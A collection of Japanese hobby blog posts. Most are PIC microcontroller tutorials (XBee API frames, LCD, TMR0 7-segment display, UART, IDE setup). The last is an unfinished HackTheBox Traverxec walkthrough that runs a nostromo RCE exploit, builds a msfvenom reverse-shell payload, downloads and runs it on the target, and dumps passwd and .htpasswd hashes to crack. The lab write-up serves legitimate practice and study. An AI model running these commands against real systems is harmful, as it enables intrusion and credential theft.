XBeeのAPIモードでメッセージを送信する(PIC)

はじめに

以前、Xbeeの子機で読み取ったセンサー値を親機へ送信していたが、任意のメッセージを送信する方はやっていなかったなと思い、挑戦してみることにした。ArduinoかPICが選択肢としてはあるが、PICでの実装にも慣れてきたのでこちらでやってみる。

今回用意するもの

  • PIC16F628A
  • XBee S2C * 2

XBeeAPIモードでフレームを送信するには

XBeeで送受信するには、透過モードとAPIモードがあるので、後者でやってみることにする。
APIモードでメッセージをコーディネータに送信するには、PIC側でAPIフレームを作成する必要がある。最初XBeeのRXとPICのTXを繋ぐだけでシリアル通信が可能になるのかなと思ったが、ウンともスンとも言わなかった...

どうしたものかなと思い、digiのサイトを見に行ったら詳しく説明されていた。
送信フレームを作成してXBeeに送れば、あとはよしなにやってくれるらしい。

www.digi.com

APIフレームの作成

あとは送信フレームを作成すればいいだけなので、送信フレームがどんなフォーマットなのかを調べる。

www.digi.com

フレーム構造はわかったが、具体的にどういう風に値をセットすれば送信してくれるのかまではわからない。 が、そこもちゃんと説明しているページがあった。親切。

www.digi.com

この中の、フレーム作成の手順を参考にXCTUでフレームを作成してみる。
それをPICから送信してみると、XBeeの親機で正常に受信することが確認できた。 ここで作成するフレームはチェックサムも計算済なので、PICから送信するフレームの妥当性を検証する際にも大変役に立った。
※ ちなみに色々なフレームの種類を選択可能なので、XCTUのフレーム作成がベースになると思う。

www.digi.com

実装

こんな感じでAPIフレームを作成して送信すればOK

gist.github.com

回路図

電源とTX/RXを相互につないだだけのシンプルな構成。

f:id:kyonta1022:20211105222610p:plain

確認

送信されるフレームをXCTUで確認する。

f:id:kyonta1022:20211105223459p:plain

Receive Packet (API 1)

7E 00 19 90 00 13 A2 00 41 7D 50 31 24 A4 01 48 45 4C 4C 4F 20 31 36 46 36 32 38 41 90

Start delimiter: 7E
Length: 00 19 (25)
Frame type: 90 (Receive Packet)
64-bit source address: 00 13 A2 00 41 7D 50 31
16-bit source address: 24 A4
Receive options: 01
RF data (HEX): 48 45 4C 4C 4F 20 31 36 46 36 32 38 41
RF data (ASCII): HELLO 16F628A
Checksum: 90

実際に受信したパケットを何かの処理に利用する場合は、こちらにあるような実装を行えばいい。

kyonta1022.hatenablog.com

まとめ

最初、APIモードでフレーム送信している記事を色々見ていたのだが、ソースがなかったり個人ライブラリ前提だったりで、見てパッとできそうな記事に出会えなかったけど、digiのサイトにExampleがあったのは大変良かった。XBeeAPIモードで任意の文字列を送ってやりとりするのは、今後も多用しそう。

PICでLCDを操作する

はじめに

秋月電子LCDディスプレイモジュールを購入したので、PICで動かしてみた。

今回用意するのは

事前準備

上のLCDディスプレイモジュールは、そのまだとバックライトがつかないので、J3とR9に抵抗を半田付する必要がある(取扱書に載っている)

f:id:kyonta1022:20211103211413j:plain

データシート

ディスプレイモジュールのデータシート。結構やることがある....

https://akizukidenshi.com/download/ds/sunlike/SC1602BBWB-XA-GB-G.pdf

ライブラリ

LCDを駆動させるにあたりスクラッチで書くのもいいが、ArduinoのLiquidCrystalライブラリみたいな感じで、詳細を知らなくてもサクッと使えるモノはないかを探してみると、以下のライブラリと遭遇した。こちらは、説明用のブログがセットになっているので大変わかりやすく、導入が簡単だったのでこれを使用した。

Github

github.com

Blog

https://trionprojects.org/lcd-interfacing-with-pic-using-xc8/

Usage

https://trionprojects.org/lcd-library-for-8-bit-pic-microcontrollers/

セットアップ

LCD用のプロジェクトを作成する。作成方法は過去のブログ参照

https://github.com/Trionium/PIC-Libraries/tree/master/LCD

kyonta1022.hatenablog.com

上のブログに倣ってHeader Filesに config.h の作成をして、Source Filesに main.c を作成する

gist.github.com

gist.github.com

Githubからソースをダウンロードしてきて、lcd.hlcd.c をプロジェクト直下(\MPLABXProjects\lcd.X)に配置する。

f:id:kyonta1022:20211105193159j:plain

lcd.h をHeader Filesにインポートする

Header Files > Add Exists Item > lcd.h

f:id:kyonta1022:20211105193503j:plain

lcd.c をSource Filesにインポートする

Header Files > Add Exists Item > lcd.h

f:id:kyonta1022:20211105193646j:plain

コンパイルする

回路図

小型ボリュームは抵抗値を変えられるようになっており、これでディスプレイの液晶濃度を調整できる。これがないと文字が見えない状態になっているので、調整のためには必須となる。

f:id:kyonta1022:20211103210924p:plain

f:id:kyonta1022:20211103211429j:plain

まとめ

PICでLCDを使うにはセットアップやコマンド送信など結構やることが多くてめんどそうだなと思っていたが、こういうライブラリを使うとサクッとできて敷居が下がるので、大変便利だった。ここまで簡単にできてしまうとArduinoでなくても全然良い。

TMR0を使った7セグLEDのダイナミック点灯

はじめに

Arduinoでダイナミック点灯をやってみたが、これぐらいだったらPICでもできるのでは?と思い挑戦してみた。 Arduinoでの実装はこちら。

github.com

今回用意するのは

ダイナミック点灯

ダイナミック点灯とは、7セグメントLEDを順番にかつ高速に点灯させることにより、人間の目には同時に点灯しているように見せる点灯方式。

www.elec-hobbyist.com

タイマーの考え方

例えば、一秒毎にカウントアップする数字をダイナミック点灯で表示させることを考えた場合、カウント用のループ処理とダイナミック点灯用のループ処理が必要になるが、メインループの中で両方ともやることは出来ない。理由としてはダイナミック点灯を行う場合、7セグLEDに対して数ミリ秒間隔で交互に電力を供給する必要が出てくるが、この処理の中でスリープ1秒とかをいれてしまった日には、LEDセグメントはチカチカッと光って後半の7セグLEDだけが光る状態になる。そこで、メインループの中はダイナミック点灯用のループを回して、TMR0で1秒毎に割り込みをいれてカウントアップするようにする。

TMR0割り込み

このサイトが大変参考になる

smtengkapi.com

  • PIC16F628Aの内部クロック4MHz
  • 1命令の実行時間は0.25μs(1sec / 4,000,000Hz)
  • 動作クロック1MHz(4Mhz / 4クロック)
  • 1命令の実行時間は1μs (1sec / 1,000,000Hz)
  • カウンターは256でオーバーフロー

このまま愚直にカウンターを繰り上げていくと、256μsでオーバーフロー(割り込み発生)してしまう(カウンター8bitなので256がMAX) こうなると、1秒を検知するためには 1sec / 256( 1μs * 256回 ) μs = 1sec / 0.000256sec = 3906回割り込みをしなければいけなくなる。 これだと1秒を作るのに割り込みが入りすぎなので、プリスケーラというのを使ってクロックを間引く。

プリスケーラ(分周)

f:id:kyonta1022:20211104224629j:plain

仮にプリスケーラのマックス256で考えたとすると 1μs * 256 = 256μs となり、カウンターを繰り上げるのに256μsかかることになる。 これは、先程カウンタをマックスにするのにかかった時間そのものになる。

そうすると、1秒を作るために3906回必要だった割り込みが、1sec / 65,536 ( 1μs * プリスケーラ:256 * 256回 ) μs = 1sec / 0.065536sec = 15回の割り込みで十分となる。 なので、65msで割り込みが入ったら独自のカウンタを繰り上げて、それが15になったら秒数繰り上げ処理を行えば1秒(だいたい)を作れる。

※ このだいたい1秒は、カウンターの初期値を調整してぴったり1秒とかにすることもでき、それで精度の調整も可能になる(さらに精度を高める場合は内部クロックを外部クロックに変えるとかも必要になる) 今回利用しているPICは8bitPICなので、カウンターが256までだが、16bitPICを利用すれば65,536カウンターまで保持できるので、1secちょうどで割り込み発生させるとかが可能となっている。

実装

TMR0を利用するためにはいくつかレジスタを設定する必要がある。

まず、Global Interrupt EnableとTMR0 Overflow Interrupt Enableに1を立てる。 これで割り込み自体の有効化とTMR0の有効化をしている そのあとは、上で説明したプリスケーラの値を設定して、カウンターの初期値を設定する。

//GIE(Global Interrupt Enable bit):1, T0IE(TMR0 Overflow Interrupt Enable bit):1
INTCON = 0b10100000; 
// Prescaler Rate Select bits 111 -> 1 : 256
OPTION_REG = 0b10000111;
TMR0 = 0x00;

レジストリの設定を行ったあとは割り込み発生時に実行する関数を定義する。 T0IFはタイマー割り込みが入ると1になるので0に戻して再度割り込みを可能な状態にしておく。

void __interrupt() irt(void)
{
    T0IF = 0;
    tmr0_counter--;
    if (tmr0_counter == 0) {
        tmr0_counter = INTERRUPTS_COUNT_PER_SECOND;
        count_up();
    }
}

ここら辺のことを一通りやった上でダイナミック点灯を実現しているのが以下のソースになる。

gist.github.com

回路図

今回利用した7セグメントLEDは

  • DC Forward Current (IF) = 20mA 順方向電流
  • DC Forward Voltage (VF) = 3.3 〜 4.0V 電圧
  • Reverse Voltage (VR) = 5V 逆電圧

だったので、余裕を持って18mAとして (5V - 3.3V) / 0.018A = 94Ω で100Ωの抵抗を挟むことにする

f:id:kyonta1022:20211103202008p:plain

まとめ

昔PICで遊んでいた時は、ダイナミック点灯が難しいイメージだったが、原理を理解してTMR0の使い方を把握さえしてしまえば、難しいことは何もなかった。Arduinoで実装できればそれをPIC用にコンバートするだけ。

PICでシリアル通信(送信)する

はじめに

Arduinoでシリアル通信をするには、RXとTXを相互に接続してSerial.printlnを使うだけで出来てしまうが、PICだとそうもいかないので、PICでのシリアル通信を体験してみる。

今回用意するのは

UART

PICにはUARTというシリアル通信用のモジュールがあり、シリアル通信のルールなども規定されている。

www.rohde-schwarz.com

実装

シリアル通信で送信する時に設定するレジスタは、シリアル通信自体の許可と、シリアル通信の送信(TX)の許可、高速モード設定、非同期モードの設定を行う。そして最後はボーレートの設定を行う。

ボーレートはデータシート上で設定値がいくつかあるが、非同期モードかつ高速モードでの設定値を確認する。該当箇所は以下の部分

f:id:kyonta1022:20211104210642p:plain

レジスタの設定

// bit7 SPEN: Serial Port Enable bit
RCSTA = 0b10000000;
// bit5 TXEN: Transmit Enable bit
// bit4 SYNC: USART Mode Select bit 0(SYNC: USART Mode Select bit)
// bit2 BRGH: High Baud Rate Select bit 1(High speed)
TXSTA = 0b00100100;
// USART Baud Rate Generator ASYNCHRONOUS MODE (BRGH = 1) 9600bps 4MHz
SPBRG = 25;

実装はこんな感じになる。

gist.github.com

回路図

Arduino側で通信内容を確認するようにしていたのだが、ここでめっちゃ嵌った。 嵌った部分としては、PIC側への電力はACアダプタから供給していたのだが、Arduino側の電圧とPIC側の電圧が微妙に異なっており、何度やってもArduino側で通信の受信結果を確認できなかった。プログラムを疑って色々変えたが何も変わらず、UARTによるデータ通信で気をつけること | hiro345 に載っていた「電圧が一致していないマイコン間の接続」の部分を見直してみたらシリアル通信が正常に通るようになった。

なのでPIC側への電力供給はACアダプタからでなく、Arduino側の5VとGNDを使用する。

f:id:kyonta1022:20211103212618p:plain

まとめ

基本はこれだけで通信可能となるが、送ってる途中でたまに文字化けする文字がある場合は、まず電圧を疑う....電圧問題はあったが、レジスタの設定さえちゃんとすれば、PICでも簡単に実現できた。

PICの開発環境を整える

はじめに

Arduinoを弄っていて、プロトタイプとしてはいいけど半田付けすることまで考えると、小さくて安くないと駄目だなということに気づき、改めてPICをちゃんとやる必要があるなということで、まずは環境構築をすることにしました。今回はその備忘録になる。

環境

MPLAB X IDE をインストールする

PICのプログラムを実装するにあたりIDEが必要なので、MPLAB IDEを用意する。
数年前ふれてたときは、MPLAB IDEだったのが、MPLAB X IDEになっており時代を感じた...

ビルドするまでには、以下のモノが必要になるためひとまず揃える。

MPLAB X IDE

以下のサイトから最新版(現時点での最新バージョンはMPLAB X IDE v5.50)の「MPLAB X IDE Windows」をダウンロードする。 ダウンロード後、Free版でインストール開始(デフォルト指定で進めた)

https://www.microchip.com/en-us/development-tools-tools-and-software/mplab-x-ide

f:id:kyonta1022:20211021194416j:plain

Cコンパイラ(MPLAB XC8、MPLAB XC16、MPLAB XC32)

IDEを起動すると、コンパイラーが見つからないという警告が表示されるので別途コンパイラーをインストールする。 コンパイラーは以下のサイトからダウンロードできるが、種類が複数あるので適切なモノを選択する必要がある。

https://www.microchip.com/en-us/development-tools-tools-and-software/mplab-xc-compilers#

f:id:kyonta1022:20211021200158j:plain

PICファミリがPIC16なのでXC16かなと思ったが、よくわからないので調べてみた。
すると、わかりやすい説明のサイトが見つかったので、下記のサイトを参考に「XC8」をインストールする。 shizenkarasuzon.hatenablog.com

MPLAB XC8
8ビットPIC用のCコンパイラです。PIC10/12/16/18にプログラムを書き込むことができます。

MPLAB XC16
16ビットPIC用のCコンパイラです。PIC24/dsPICにプログラムを書き込むことができます。

MPLAB XC32
32ビットPIC用のCコンパイラです。PIC32にプログラムを書き込むことができます。

PICkit2 Programmer をインストールする

IDEでビルドしたHEXファイルをPICに書き込むためには、PICプログラマーのソフトウェアが別途必要になる。 今回利用する秋月の「AE-PICPGM USB1」はPICkit2互換のタイプのため、PICkit2 Programmerを用意する。

https://www.microchip.com/en-us/development-tool/PG164120

f:id:kyonta1022:20211021202041j:plain

「PICkit 2 V2.61 Install with .NET Framework A」をインストールする。

動作確認用のLチカ実装する

実装するための環境が整ったので動作確認用のソースを用意する。

まずは、新しいプロジェクトを作成する

File > New Project...

f:id:kyonta1022:20211021202440j:plain

Microchip Embedded を選択する

f:id:kyonta1022:20211021202547j:plain

PICの型番を入力していくと候補が出てくるので選択する

f:id:kyonta1022:20211021202719j:plain

Noneのままで次へ

f:id:kyonta1022:20211021203605j:plain

コンパイラーは、先程インストールしたXC8を選択する

f:id:kyonta1022:20211021203611j:plain

最後にプロジェクト名を入力する

f:id:kyonta1022:20211021203619j:plain

動作確認用のmain.cファイルを作成する

f:id:kyonta1022:20211021203626j:plain

ここのサイトにあるLED点滅プログラムを拝借する。 jh7ubc.web.fc2.com

#include <xc.h>
#include <stdio.h>
#include <stdlib.h>

#define _XTAL_FREQ 4000000

#pragma config FOSC = INTOSCIO
#pragma config WDTE = OFF
#pragma config PWRTE = ON
#pragma config MCLRE = OFF
#pragma config BOREN = OFF
#pragma config LVP = OFF
#pragma config CPD = OFF
#pragma config CP = OFF

void main() {
    CMCON = 0x07;
    TRISA = 0b00100000;
    TRISB = 0x00;
    PORTA = 0x00;
    PORTB = 0x00;
    while(1){
        RB0 = 1;
        __delay_ms(500);
        RB0 = 0;
        __delay_ms(500);
    }
}

Build Main Project を選択してビルドする
正常終了すると「BUILD SUCCESSFUL (total time: 2s)」みたいなメッセージが出力される。

f:id:kyonta1022:20211021203549j:plain

ビルドが終わると、以下のフォルダにHEXファイルが出力される。
※ ここに出力されたHEXファイルをPICkit2 ProgrammerでPICに書き込む。

C:\Users\user-name\MPLABXProjects\led-sample.X\dist\default\production
led-sample.X.production.hex

PICにプログラムを書き込む

PICプログラマにPICを刺してUSBをパソコンに接続する

f:id:kyonta1022:20211022001505j:plain

その状態でPICkit2を立ち上げると、接続の確認ができる

f:id:kyonta1022:20211022000921j:plain

File > Import HEX でHEXファイルを読み込む

f:id:kyonta1022:20211021235822j:plain

f:id:kyonta1022:20211021235833j:plain

write を押して書き込む

f:id:kyonta1022:20211022000957j:plain

※「Programming failed at Program Memory address 0x000000」が表示されるようになった場合
Pickit2でPIC16f628Aに書き込む時、いきなり上記エラーが発生した場合は、設定を見直すと解決する。

f:id:kyonta1022:20211023213857j:plain

f:id:kyonta1022:20211023213904j:plain

回路組む

PICの準備は整ったので、あとは回路を組み上げる。回路は、以下のようにして電源をつなげれば無事LEDが点滅する。

f:id:kyonta1022:20211022003547p:plain

f:id:kyonta1022:20211022001539j:plain

おわりに

数年ぶりのPIC用の開発環境を構築した。
以前はWindowsしかなかった気がするが、現在はMacでも利用できるようになってるのはいいなと思った。 昔のPICプログラマーだけどまだ使えるか?Windows10で動くか?など、色々と心配していたが環境が作れたのでいったん安心した。

HTB Traverxec Walkthrough

振り返り的な用途で、攻撃プロセスを書き出す。
※ HackTheBoxのTraverxecマシンに対するネタバレになるので、挑戦予定の方は🙅‍♂️
※ RetiredになったマシンのみWalkthroughの公開は可能です。

概要

https://www.hackthebox.eu/home/machines/profile/217

10.10.10.165

f:id:kyonta1022:20200514225549p:plain f:id:kyonta1022:20200514225606p:plain

Enumeration/CVE が要求されながらも、以前のマシンと比べると少し優しいのかな?という印象をうける。

偵察

Nmap Scan

一番最初にやるべきは、対象ホストにてどのようなサービスが稼働しているかの確認。

# nmap -A 10.10.10.165
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-28 22:45 JST
Nmap scan report for 10.10.10.165
Host is up (0.27s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   164.99 ms 10.10.14.1
2   225.45 ms 10.10.10.165

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.93 seconds

脆弱性情報検索

OpenSSH 7.6p1に関しては、OpenAdminのときに使えそうな脆弱性がなかったので今回も対象外とした。
なので、脆弱性がありそうなサービス候補としてはnostromo 1.9.6だけになる。
適当にsearchsploitで検索したらヒットした。

# searchsploit nostromo 1.9.6
-------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                              |  Path
                                                                                            | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------- ----------------------------------------
nostromo 1.9.6 - Remote Code Execution                                                      | exploits/multiple/remote/47837.py
-------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result

半信半疑ながらもネットで検索してみたら、このような記事もヒットしたので多分使えるのだろう。
RCE脆弱性にさらされた Nostromo Web Server

侵入

Nostromo Web Server Exploit

searchsploitで見つけたPythonスクリプトを動かしてみる。

# cp /usr/share/exploitdb/exploits/multiple/remote/47837.py /root/.msf4/modules/exploits/poc/
# cd /root/.msf4/modules/exploits/poc/
# python 47837.py 

                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    





Usage: cve2019-16278.py <Target_IP> <Target_Port> <Command>

ターゲットのIPとPortを指定してidコマンドを投げてみる。

# python 47837.py 10.10.10.165 80 id


                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    




HTTP/1.1 200 OK
Date: Fri, 28 Feb 2020 13:58:46 GMT
Server: nostromo 1.9.6
Connection: close


uid=33(www-data) gid=33(www-data) groups=33(www-data)

サクッとwww-dataユーザでのコマンド実行が出来た。

ボッティング

www-data

毎回この形式でコマンド実行するのはシンドイので、reverse_tcpで常時接続しとくことにする。
ペイロードを作成して、公開する。

# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.15.XX LPORT=4545 -f elf > shell.elf
# python -m SimpleHTTPServer

msfconsoleを使って待機する。

# msfconsole 
                                                  

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        https://metasploit.com


       =[ metasploit v5.0.2-dev                           ]
+ -- --=[ 1855 exploits - 1046 auxiliary - 325 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
+ -- --=[ ** This is Metasploit 5 development branch **   ]

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf5 exploit(multi/handler) > set LPORT 4545
LPORT => 4545
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.15.XX
LHOST => 10.10.15.XX
msf5 exploit(multi/handler) > exploit 

対象ホストでペイロードを実行する。

# python 47837.py 10.10.10.165 80 "wget -P /tmp http://10.10.15.XX:8000/shell.elf”
# python 47837.py 10.10.10.165 80 "cd /tmp; chmod +x shell.elf; ./shell.elf"

いつも通り、自分が何者で、今居る場所やホームディレクトリについての情報を収集する。

$ pwd
/usr/bin

$ ls -al
total 62048
drwxr-xr-x  2 root root      20480 Nov 12 04:56 .
drwxr-xr-x 13 root root       4096 Oct 25 14:15 ..
-rwxr-xr-x  1 root root         96 Apr  5  2019 2to3-2.7
-rwxr-xr-x  1 root root      60064 Feb 28  2019 [
-rwxr-xr-x  1 root root      30936 Mar 30  2019 aa-enabled
-rwxr-xr-x  1 root root      30936 Mar 30  2019 aa-exec
-rwxr-xr-x  1 root root      26704 Jan 10  2019 addpart
...(省略)

ユーザ情報を確認する

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ホームディレクトリを確認する

$ ls -al /var/www
ls: cannot access '/var/www': No such file or directory

historyを確認する

$ history
sh: 3: history: not found

sudo確認

$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified

passwdファイル確認

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
david:x:1000:1000:david,,,:/home/david:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

groupファイル確認

$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-network:x:102:
systemd-resolve:x:103:
input:x:104:
crontab:x:105:
syslog:x:106:
messagebus:x:107:
lxd:x:108:
mlocate:x:109:
uuidd:x:110:
ssh:x:111:
landscape:x:112:
jimmy:x:1000:
ssl-cert:x:113:
mysql:x:114:
joanna:x:1001:
internal:x:1002:jimmy,joanna
netdev:x:115:

鍵を握るのは色々なグループに所属しているdavidユーザの雰囲気。
権限を昇格するための候補が他にもいそうか、homeディレクトリを確認する。

$ ls -al /home
total 12
drwxr-xr-x  3 root  root  4096 Oct 25 14:32 .
drwxr-xr-x 18 root  root  4096 Oct 25 14:17 ..
drwx--x--x  5 david david 4096 Oct 25 17:02 david

色々探索した上で、/varを調べていると、足掛かりになりそうなファイルを発見。

$ find /var
...
/var/nostromo/conf/.htpasswd
/var/nostromo/conf/nhttpd.conf

nhttpdの設定ファイルとかは/var/nostromoに入っているのか。
一応確認しとく。

$ cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]

servername      traverxec.htb
serverlisten        *
serveradmin     david@traverxec.htb
serverroot      /var/nostromo
servermimes     conf/mimes
docroot         /var/nostromo/htdocs
docindex        index.html

# LOGS [OPTIONAL]

logpid          logs/nhttpd.pid

# SETUID [RECOMMENDED]

user            www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess        .htaccess
htpasswd        /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons          /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs        /home
homedirs_public     public_www

.htpasswdを確認。

$ cat /var/nostromo/conf/.htpasswd

david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

davidのハッシュ化されたパスワードを手に入れる。 何のアルゴリズムでハッシュ化されているのかわからなかったので調べてみることにする。
どんなものがあるのかをopensslで確認。

# openssl passwd -help
Usage: passwd [options]
Valid options are:
 -help               Display this summary
 -in infile          Read passwords from file
 -noverify           Never verify when reading password from terminal
 -quiet              No warnings
 -table              Format output as table
 -reverse            Switch table columns
 -salt val           Use provided salt
 -stdin              Read passwords from stdin
 -6                  SHA512-based password algorithm
 -5                  SHA256-based password algorithm
 -apr1               MD5-based password algorithm, Apache variant
 -1                  MD5-based password algorithm
 -aixmd5             AIX MD5-based password algorithm
 -crypt              Standard Unix password algorithm (default)
 -rand val           Load the file(s) into the random number generator
 -writerand outfile  Write random data to the specified file

-1 MD5-based password algorithmかな?と思うので試しに生成してみる。

root@kali-linux:~/sandbox# openssl passwd -1 test
$1$S6a/wZpn$5mjTTqM/R4V51jP8pxEmj/

MD5のようだ。
johnで確認する場合は、以下のコマンドで確認可能。

# john --list=formats 
descrypt, bsdicrypt, md5crypt, bcrypt, scrypt, LM, AFS, tripcode, 
AndroidBackup, adxcrypt, agilekeychain, aix-ssha1, aix-ssha256, aix-ssha512, 
andOTP, ansible, argon2, as400-des, as400-ssha1, asa-md5, AxCrypt, AzureAD, 
BestCrypt, bfegg, Bitcoin, BitLocker, bitshares, Bitwarden, BKS, 
Blackberry-ES10, WoWSRP, Blockchain, chap, Clipperz, cloudkeychain, 
dynamic_n, cq, CRC32, sha1crypt, sha256crypt, sha512crypt, Citrix_NS10, 
dahua, dashlane, Django, django-scrypt, dmd5, dmg, dominosec, dominosec8, 
DPAPImk, dragonfly3-32, dragonfly3-64, dragonfly4-32, dragonfly4-64, Drupal7, 
eCryptfs, eigrp, electrum, EncFS, enpass, EPI, EPiServer, ethereum, fde, 
Fortigate256, Fortigate, FormSpring, FVDE, geli, gost, gpg, HAVAL-128-4, 
HAVAL-256-3, hdaa, hMailServer, hsrp, IKE, ipb2, itunes-backup, iwork, 
KeePass, keychain, keyring, keystore, known_hosts, krb4, krb5, krb5asrep, 
krb5pa-sha1, krb5tgs, krb5-17, krb5-18, krb5-3, kwallet, lp, lpcli, leet, 
lotus5, lotus85, LUKS, MD2, mdc2, MediaWiki, monero, money, MongoDB, scram, 
Mozilla, mscash, mscash2, MSCHAPv2, mschapv2-naive, krb5pa-md5, mssql, 
mssql05, mssql12, multibit, mysqlna, mysql-sha1, mysql, net-ah, nethalflm, 
netlm, netlmv2, net-md5, netntlmv2, netntlm, netntlm-naive, net-sha1, nk, 
